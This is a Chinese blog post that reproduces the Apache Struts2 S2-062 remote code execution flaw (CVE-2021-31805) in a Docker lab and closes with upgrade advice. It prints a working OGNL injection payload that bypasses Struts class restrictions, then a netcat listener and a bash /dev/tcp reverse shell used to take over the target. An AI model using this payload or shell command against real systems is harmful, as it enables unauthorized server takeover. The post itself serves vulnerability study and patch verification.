S2-062 远程命令执行漏洞复现(CVE-2021-31805)

admin 2025年1月16日23:32:23评论28 views字数 2309阅读7分41秒阅读模式
漏洞简介

2022年4月12日,Apache Struts2发布安全公告(S2-062),修复了Apache Struts2中的一个远程代码执行漏洞(CVE-2021-31805)。该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}且其中x的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。

复现过程

首先使用docker拉取漏洞环境,这里使用的是vulfocus搭建好的漏洞环境镜像

docker pull vulfocus/struts2-cve_2021_31805:latest

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

漏洞环境拉取完成后,通过docker run命令开启漏洞环境,开启后将监听在8080端口

docker run -p 8888:8080 --name s2_062 vulfocus/struts2-cve_2021_31805

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

使用浏览器访问链接http://ip:8888/,看到如下tomcat界面则证明漏洞环境搭建成功

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

漏洞触发点url为http://ip:8888/s2_062/index.action,使用浏览器访问如下

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

使用burpsuite抓取访问上述url的请求包,可以看到原始请求数据包如下

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

目前github上已经有针对该漏洞的POC检测脚本,我们下载一个脚本,下载地址为https://github.com/YanMu2020/s2-062,该脚本支持无回显和回显两种方式的检测

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

首先我们使用回显方式对漏洞环境进行检测

python s2-062.py --url http://ip:8888/

python s2-062.py --url http://ip:8888/ --cmd whoami

通过脚本检测发现POC和EXP利用代码均执行失败

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

接下来我们尝试使用无回显方式验证漏洞

python Dnslog_s2_062.py --url http://ip:8888/s2_062/index.action --par name

发现dnslog可以成功收到请求,证明存在无回显的s2-062漏洞

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

我们通过抓包对无回显POC检测脚本所发送的利用代码进行分析,抓取到POC发送的请求数据包如下

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

将上述请求包中的检测代码解码后可以得到如下的检测payload

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +

(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +

(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +

(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +

(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 5bab253d.dns.1433.eu.org.'}))

有了payload之后,我们就可以自行构造命令执行代码获得目标服务器的反弹shell

首先在攻击机上利用nc开启监听

nc -lvvp 12345

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

然后将上述红字加粗中的命令替换为反弹shell命令/bin/bash -i >& /dev/tcp/ip/12345 0>&1,最后经过url编码后发送如下请求包

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

成功获得了目标服务器的反弹shell

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

修复建议

漏洞影响范围:2.0.0<=Apache Struts<=2.5.29,目前此漏洞已经修复,建议受影响用户及时升级更新到Apache Struts 2.5.30或更高版本。

下载链接:

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

S2-062 远程命令执行漏洞复现(CVE-2021-31805)

原文始发于微信公众号(第59号):S2-062 远程命令执行漏洞复现(CVE-2021-31805)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:32:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   S2-062 远程命令执行漏洞复现(CVE-2021-31805)https://cn-sec.com/archives/1081833.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息